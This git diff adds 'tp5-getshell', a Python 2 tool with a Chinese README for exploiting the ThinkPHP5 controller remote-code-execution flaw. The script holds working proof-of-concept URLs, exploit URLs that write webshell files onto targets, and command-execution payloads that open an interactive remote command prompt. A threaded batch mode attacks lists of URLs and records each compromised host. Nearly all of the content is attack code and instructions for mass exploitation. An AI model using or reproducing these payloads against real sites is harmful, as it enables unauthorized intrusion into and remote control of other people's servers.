diff --git a/tp5-getshell/README.md b/tp5-getshell/README.md new file mode 100644 index 00000000..25d50b8f --- /dev/null +++ b/tp5-getshell/README.md @@ -0,0 +1,84 @@ +tp5-getshell.py - thinkphp5 rce漏洞检测工具 +== + +----------------------- + + +# 概述 + + +控制器过滤不严导致rce,漏洞详情参考 + +[thinkphp5 RCE漏洞重现及分析](demo/lsablog.com-ThinkPHP5 RCE漏洞重现及分析.pdf) + +
+本工具支持单url/批量检测,有phpinfo模式、cmd shell模式、getshell(写一句话)模式,批量检测直接使用getshell模式。 + +
+ +----------------------- + + + + +# 需求 + + +python2.7 + +
+pip install -r requirements.txt + +
+ +----------------------- + + + +# 快速开始 + + +python tp5-getshell.py -h
+ +![](demo/p4.png)
+
+单url检测(phpinfo模式)
+ +使用4种poc-phpinfo检测
+ +python tp5-getshell.py -u http://www.xxx.com:8888/think5124/public/
+![](demo/p3.png)
+
+ +单url检测(getshell模式)
+ +使用3种exp进行getshell,遇到先成功的exp就停止,防止重复getshell
+ +python tp5-getshell.py -u http://www.xxx.com:8888/think5124/public/ –exploit
+ +![](demo/p2.png)
+
+ +单url检测(cmd shell模式)
+ +python tp5-getshell.py -u http://www.xxx.com/ –cmdshell
+ +![](demo/p1.png)
+
+ +批量检测(getshell)
+ +使用3种exp进行getshell,遇到先成功的exp就停止,防止重复getshell
+ +python tp5-getshell.py -f urls.txt -t 2 -s 10
+![](demo/p0.png)
+
+ +---------------------- + +# 反馈 + +博客: http://www.lsablog.com/
+gmail: lsasguge196@gmail.com
+qq: 2894400469@qq.com
+issues: https://github.com/theLSA/tp5-getshell/issues diff --git a/tp5-getshell/batch_result/20181212002851/20181212002851/success.txt b/tp5-getshell/batch_result/20181212002851/20181212002851/success.txt new file mode 100644 index 00000000..e8709317 --- /dev/null +++ b/tp5-getshell/batch_result/20181212002851/20181212002851/success.txt @@ -0,0 +1 @@ +shell in here \ No newline at end of file diff --git "a/tp5-getshell/demo/lsablog.com-ThinkPHP5 RCE\346\274\217\346\264\236\351\207\215\347\216\260\345\217\212\345\210\206\346\236\220.pdf" "b/tp5-getshell/demo/lsablog.com-ThinkPHP5 RCE\346\274\217\346\264\236\351\207\215\347\216\260\345\217\212\345\210\206\346\236\220.pdf" new file mode 100644 index 00000000..4728c0a0 Binary files /dev/null and "b/tp5-getshell/demo/lsablog.com-ThinkPHP5 RCE\346\274\217\346\264\236\351\207\215\347\216\260\345\217\212\345\210\206\346\236\220.pdf" differ diff --git a/tp5-getshell/demo/p0.png b/tp5-getshell/demo/p0.png new file mode 100644 index 00000000..3c13f368 Binary files /dev/null and b/tp5-getshell/demo/p0.png differ diff --git a/tp5-getshell/demo/p1.png b/tp5-getshell/demo/p1.png new file mode 100644 index 00000000..c478e770 Binary files /dev/null and b/tp5-getshell/demo/p1.png differ diff --git a/tp5-getshell/demo/p2.png b/tp5-getshell/demo/p2.png new file mode 100644 index 00000000..2ff62018 Binary files /dev/null and b/tp5-getshell/demo/p2.png differ diff --git a/tp5-getshell/demo/p3.png b/tp5-getshell/demo/p3.png new file mode 100644 index 00000000..8a749bb2 Binary files /dev/null and b/tp5-getshell/demo/p3.png differ diff --git a/tp5-getshell/demo/p4.png b/tp5-getshell/demo/p4.png new file mode 100644 index 00000000..7c8fa35a Binary files /dev/null and b/tp5-getshell/demo/p4.png differ diff --git a/tp5-getshell/requirements.txt b/tp5-getshell/requirements.txt new file mode 100644 index 00000000..b11c1fb6 --- /dev/null +++ b/tp5-getshell/requirements.txt @@ -0,0 +1,2 @@ +requests==2.20.0 +beautifulsoup4==4.6.3 diff --git a/tp5-getshell/tp5-getshell.py b/tp5-getshell/tp5-getshell.py new file mode 100644 index 00000000..47fda7e1 --- /dev/null +++ b/tp5-getshell/tp5-getshell.py @@ -0,0 +1,322 @@ +#coding:utf-8 +#Author:LSA +#Description: thinkphp5 rce getshell +#Date:20181211 + +import requests +import optparse +import os +import datetime +import Queue +import threading +import sys +from bs4 import BeautifulSoup +from requests.packages import urllib3 + +reload(sys) +sys.setdefaultencoding('utf-8') + +lock = threading.Lock() + +q0 = Queue.Queue() +threadList = [] +global succ +succ = 0 +headers = {} +headers["User-Agent"] = 'Opera/9.80 (Windows NT 6.1; U; en) Presto/2.8.131 Version/11.11' + + +poc0 = '/index.php/?s=index/\\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1' +poc1 = '/index.php/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1' +poc2 = '/index.php/?s=index/\\think\Request/input&filter=phpinfo&data=1' +poc3 = '/index.php?s=/index/\\think\\request/cache&key=1|phpinfo' +poclist = [poc0,poc1,poc2,poc3] + +exp0 = '/index.php/?s=index/\\think\\template\driver\\file/write&cacheFile=zxc0.php&content=' +exp1 = '/index.php/?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=' +exp2 = '/index.php/?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo \'\'>zxc2.php' + +explist = [exp0,exp1,exp2] + +cmdtest = 'echo zxc000' +cmdexp0 = '/index.php?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[l][]={}' +cmdexp1 = '/index.php?s=index/\\think\Request/input&filter=system&data={}' +cmdexp2 = '/index.php?s=/index/\\think\\request/cache&key={}|system' +cmdexp3 = '/index.php?s=index/\\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]={}' + +cmdlist = [cmdexp0,cmdexp1,cmdexp2,cmdexp3] + + + +def tp5_getshell_check(tgtUrl,timeout): + + for p in range(len(poclist)): + + + fullUrl = tgtUrl + poclist[p] + #print fullUrl + try: + rst = requests.get(fullUrl,headers=headers,timeout=timeout,verify=False) + except requests.exceptions.Timeout: + print 'phpinfo checked fail! Error: Timeout' + continue + except requests.exceptions.ConnectionError: + print 'phpinfo checked fail! Error: ConnectionError' + continue + except: + print 'phpinfo checked fail! Error: Unkonwn error0' + continue + + if rst.status_code == 200: + + if(rst.text.index('PHP Version')): + print 'phpinfo checked success! poc' + str(p) + ': ' + poclist[p] + '\n' + + else: + soup = BeautifulSoup(rst.text,'lxml') + if(soup.find('title')): + print 'Poc' + str(p) + ' phpinfo checked fail! Error title: ' + str(soup.title.string) + '\n' + else: + print 'Poc' + str(p) + ' phpinfo checked fail! ' + str(rst.text[0:11]) + '\n' + + else: + print 'Poc' + str(p) + ' phpinfo checked fail! status code: ' + str(rst.status_code) + '\n' + continue + +def tp5_getshell_cmdshell(tgtUrl,timeout): + for c in range(len(cmdlist)): + fullUrl = tgtUrl + cmdlist[c].format(cmdtest) + #print fullUrl + try: + rst = requests.get(fullUrl,headers=headers,timeout=timeout,verify=False) + #print rst.text + + if rst.status_code == 200: + if 'zxc000' in rst.text: + print 'Getshell cmd success! now use cmdexp' + str(c) + ': ' + cmdlist[c] + '\n' + while True: + command = raw_input("cmd>>> ") + if command == 'exit': + break + + cmdexp = cmdlist[c].format(command) + fullUrl1 = tgtUrl + cmdexp + cmdResult = requests.get(fullUrl1,headers=headers,timeout=7) + print cmdResult.text + break + + else: + print 'Cmdshell' + str(c) + ' checked fail! status code: ' + str(rst.status_code) + '\n' + continue + + + except requests.exceptions.Timeout: + #print 'Getcmdshell fail! Error: Timeout' + continue + except requests.exceptions.ConnectionError: + #print 'Getcmdshell fail! Error: ConnectionError' + continue + except: + #print 'Getcmdshell fail! Error: Unkonwn error0' + continue + + + + print 'Over' + +def tp5_getshell_exploit(tgtUrl,timeout): + + for e in range(len(explist)): + + fullUrl = tgtUrl + explist[e] + #print fullUrl + try: + rst = requests.get(fullUrl,headers=headers,timeout=timeout,verify=False) + except requests.exceptions.Timeout: + print 'Getshell exploited fail! Error: Timeout' + continue + except requests.exceptions.ConnectionError: + print 'Getshell exploited fail! Error: ConnectionError' + continue + except: + print 'Getshell exploited fail! Error: Unkonwn error0' + continue + + if rst.status_code == 200: + + rst1 = requests.get(tgtUrl+'/zxc'+str(e)+'.php',timeout=timeout,verify=False) + if rst1.status_code == 200: + if rst1.text == '': + print 'Getshell! ' + tgtUrl + '/zxc' + str(e) + '.php|pwd:xxxxxx' + '\n' + exit() + else: + soup = BeautifulSoup(rst1.text,'lxml') + if(soup.find('title')): + print 'Exp' + str(e) + ' getshell exploited fail! Error title: ' + str(soup.title.string) + '\n' + else: + print 'Exp' + str(e) + ' getshell exploited fail! ' + str(rst1.text[0:11]) + '\n' + else: + + print 'Exp' + str(e) + ' getshell exploited fail! Shell status code: ' + str(rst1.status_code) + '\n' + else: + + print 'Exp' + str(e) + ' getshell exploited fail! status code: ' + str(rst.status_code) + '\n' + + +def tp5_getshell_batch(timeout,f4success): + urllib3.disable_warnings() + global countLines + while(not q0.empty()): + + tgtUrl = q0.get() + for e in range(len(explist)): + + fullUrl = tgtUrl + explist[e] + #print fullUrl + qcount = q0.qsize() + print 'Checking: ' + fullUrl + '---[' + str(countLines - qcount) + '/' + str(countLines) + ']' + + try: + rst = requests.get(fullUrl,headers=headers,timeout=timeout,verify=False) + + except requests.exceptions.Timeout: + #print 'Getshell failed! Error: Timeout' + + continue + + except requests.exceptions.ConnectionError: + #print 'Getshell failed! Error: ConnectionError' + + continue + + except: + #print 'Getshell failed! Error: Unkonwn error' + + continue + + if rst.status_code == 200: + try: + rst1 = requests.get(tgtUrl+'/zxc'+str(e)+'.php',timeout=timeout,verify=False) + + if rst1.status_code == 200: + + + if rst1.text == '': + shellAddr = tgtUrl + '/zxc' + str(e) + '.php|pwd:xxxxxx' + print 'Getshell! ' + shellAddr + lock.acquire() + f4success.write('shell: '+shellAddr+'\n') + lock.release() + global succ + succ = succ + 1 + break + else: + continue + else: + + #errorState = 'Getshell failed! Error: zxc.php' + str(e) + ' ' + str(rst1.status_code) + continue + + except requests.exceptions.Timeout: + #print 'Getshell failed! Error: Timeout' + + continue + + except requests.exceptions.ConnectionError: + #print 'Getshell failed! Error: ConnectionError' + + continue + + except: + #print 'Getshell failed! Error: Unkonwn error' + + continue + + + + else: + #print 'Getshell failed! status code: ' + str(rst.status_code) + + continue + + + + +if __name__ == '__main__': + + print ''' + **************************************************** + * thinkphp5 rce getshell(controller) * + * Coded by LSA * + **************************************************** + ''' + + parser = optparse.OptionParser('python %prog ' +'-h (manual)',version='%prog v1.0') + + parser.add_option('-u', dest='tgtUrl', type='string', help='single url') + + parser.add_option('-f', dest='tgtUrlsPath', type ='string', help='urls filepath[exploit default]') + + parser.add_option('-s', dest='timeout', type='int', default=7, help='timeout(seconds)') + + parser.add_option('-t', dest='threads', type='int', default=5, help='the number of threads') + + #parser.add_option('--check', dest='check',action='store_true', help='check url but not exploit[default]') + + parser.add_option('--exploit', dest='exploit',action='store_true', help='exploit url') + + parser.add_option('--cmdshell', dest='cmdshell',action='store_true', help='cmd shell mode') + + (options, args) = parser.parse_args() + + #check = options.check + + exploit = options.exploit + + cmdshell = options.cmdshell + + timeout = options.timeout + + tgtUrl = options.tgtUrl + + if tgtUrl and (exploit is None and cmdshell is None): + + tp5_getshell_check(tgtUrl,timeout) + + if tgtUrl and exploit: + + tp5_getshell_exploit(tgtUrl,timeout) + + if tgtUrl and cmdshell: + + tp5_getshell_cmdshell(tgtUrl,timeout) + + + if options.tgtUrlsPath: + tgtFilePath = options.tgtUrlsPath + threads = options.threads + nowtime = datetime.datetime.now().strftime('%Y%m%d%H%M%S') + os.mkdir('batch_result/'+str(nowtime)) + f4success = open('batch_result/'+str(nowtime)+'/'+'success.txt','w') + #f4fail = open('batch_result/'+str(nowtime)+'/'+'fail.txt','w') + urlsFile = open(tgtFilePath) + global countLines + countLines = len(open(tgtFilePath,'rU').readlines()) + + print '===Total ' + str(countLines) + ' urls===' + + for urls in urlsFile: + fullUrls = urls.strip() + q0.put(fullUrls) + for thread in range(threads): + t = threading.Thread(target=tp5_getshell_batch,args=(timeout,f4success)) + t.start() + threadList.append(t) + for th in threadList: + th.join() + + + print '\n###Finished! [success/total]: ' + '[' + str(succ) + '/' + str(countLines) + ']###' + print 'Results were saved in ./batch_result/' + str(nowtime) + '/' + f4success.close() + #f4fail.close() diff --git a/tp5-getshell/urls.txt b/tp5-getshell/urls.txt new file mode 100644 index 00000000..aa64fe56 --- /dev/null +++ b/tp5-getshell/urls.txt @@ -0,0 +1,3 @@ +http://www.xxx.com/ +http://www.yyy.com/public/ +http://www.zzz.com:8080/ \ No newline at end of file